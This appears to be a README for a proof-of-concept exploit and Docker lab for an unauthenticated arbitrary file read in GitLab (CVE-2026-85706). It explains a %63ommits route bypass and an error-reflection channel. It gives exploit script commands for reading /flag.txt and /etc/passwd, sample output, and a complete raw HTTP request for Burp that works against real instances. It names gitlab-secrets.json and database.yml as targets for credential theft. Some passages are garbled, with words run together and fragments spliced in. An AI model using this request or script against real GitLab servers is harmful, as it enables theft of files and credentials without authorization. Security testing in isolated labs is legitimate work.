
PoC and Docker lab for CVE-2026-85706, an unauthenticated arbitrary file read in GitLab CE/EE via the commits API route bypass and urlencoded error channel.
★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 is an unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV) via
POST /api/v4/projects/:id/repository/commits, whose body-upload helper runs beforeauthenticate!and readsparams['file.path']as an absolute path with no confinement. URL-encoding one char ofcommits→%63ommitsmakes GitLab-Workhorse miss the route (so it never overwritesfile.path), while Rails still decodes%63 → cand routes to the handler — letting the attacker setfile.pathvia the query string. WithContent-Type=application/x-www-form-urlencoded, the helper re-parses the file content and a%not followed by two hex digits reflects that content in the400body (files without one give only a401read oracle). Requires at least one public project.
| Category | Version |
|---|---|
| Vulnerable | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Patched | 19.1.8 / 19.2.6 / 19.3.2 or later (2026-09-10) |
% (application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → chaining to authenticated access / full instance compromisegitlab-secrets.json, database.yml); note that purely hex/base64 files return only an existence oracle through the public % reflection channel (no invalid % byte to trigger the echo)authenticate! ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sinkBuild and run the vulnerable GitLab CE. On boot, the seeder plants /flag.txt (with a trailing
% leak trigger) and creates a public project victim/public-app (project id 1) so the
commits API is reachable unauthenticated. First boot takes ~2–3 minutes.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
The flag is a placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Set your own at
run time without editing the image: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Precondition | State in this lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| At least one public project (anon reaches the commits API) | victim/public-app (id 1), auto-created |
/api/v4/projects/:id/repository/commits reachable unauthenticated | exposed |
| Flag on the server filesystem | /flag.txt (trailing % reflection trigger) |
The exploit gitlab_exploit.py reads a file off the server with a single unauthenticated
request, using the %63ommits Workhorse route bypass and the urlencoded re-parse error channel.
Pick the file with --read (default /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Options:
--read "<abs path>" — absolute file path to read (default /flag.txt)--project <id> — public project id reachable unauthenticated (default 1)--check — only confirm the file-read sink is reachable (expects local file not present)Raw request (for Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT to */repository/commits* and */repository/files* at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist